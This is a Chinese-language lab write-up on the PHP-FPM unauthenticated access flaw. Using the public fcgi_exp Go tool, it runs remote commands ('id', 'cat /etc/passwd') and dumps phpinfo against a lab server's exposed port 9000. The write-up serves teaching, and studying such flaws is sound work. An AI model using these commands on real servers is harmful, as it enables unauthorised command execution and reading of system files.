PHP-FPM未授权访问漏洞2实验
一、实验目的
1. 了解PHP-FPM中间件漏洞并学会漏洞利用。
2. 知识点PHP-FPM未授权访问漏洞
二、实验原理
CGI全称是“通用网关接口”(CommonGatewayInterface),HTTP服务器与你的或其它机器上的程序进行“交谈”的一种工具,其程序一般运行在网络服务器上。CGI可以用任何一种语言编写,只要这种语言具有标准输入、输出和环境变量。如php,perl,tcl等。PHP-FPM是一个PHPFastCGI管理器,是只用于PHP的。PHP-FPM未授权访问漏洞是利用PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则可以自己构造fastcgi协议,和fpm进行通信。
三、实验环境
软件工具Ÿ操作系统:Centos6.5:192.168.1.2kali:192.168.1.4Ÿ中间件:PHP-FPM

图1
四、实验目标
利用PHP-FPM未授权访问漏洞在服务器上执行系统命令。
五、实验步骤
Go语言脚本利用安装go语言环境和脚本下载,脚本下载链接https://github.com/piaca/fcgi_exp。配置go语言环境:在官网下载https://golang.org/dl/下载源码文件,注意:前面的地址需要翻墙,下面这个不需要https://golang.google.cn/dl/。解压文件到/usr/local:tar-C/usr/local-xzfgo1.7.3.linux-amd64.tar.gz,这里amd64是64位,需要注意和系统是否一致,这里已经解压安装。在配置文件vim/etc/profile末尾添加环境变量:exportPATH=$PATH:/usr/local/go/bin;保存退出后执行命令source/etc/profile使环境变量生效。

图2
工具参数介绍。执行命令gorunfcgi_exp.go--help。

图3
查看系统id:gorunfcgi_exp.gosystem192.168.1.29000/usr/share/nginx/html/index.php'id'(单引号双引号均可)。

图4
查看系统用户:gorunfcgi_exp.gosystem192.168.1.29000/var/www/html/index.php'cat/etc/passwd'。

图5
还可以直接编译一个可执行程序,同样可以执行上述命令。

图6
gobuild-ofcgi_expfcgi_exp.go然后执行
./fcgi_expsystem192.168.1.29000/usr/share/nginx/html/index.php'id'查询php信息,导入到本地文件中:./fcgi_expphpinfo192.168.1.29000/usr/share/nginx/html/index.php>phpinfo.html,就会生成一个phpinfo.html文件。

图7
然后再访问,客户端就可以查看服务器的php信息。

图8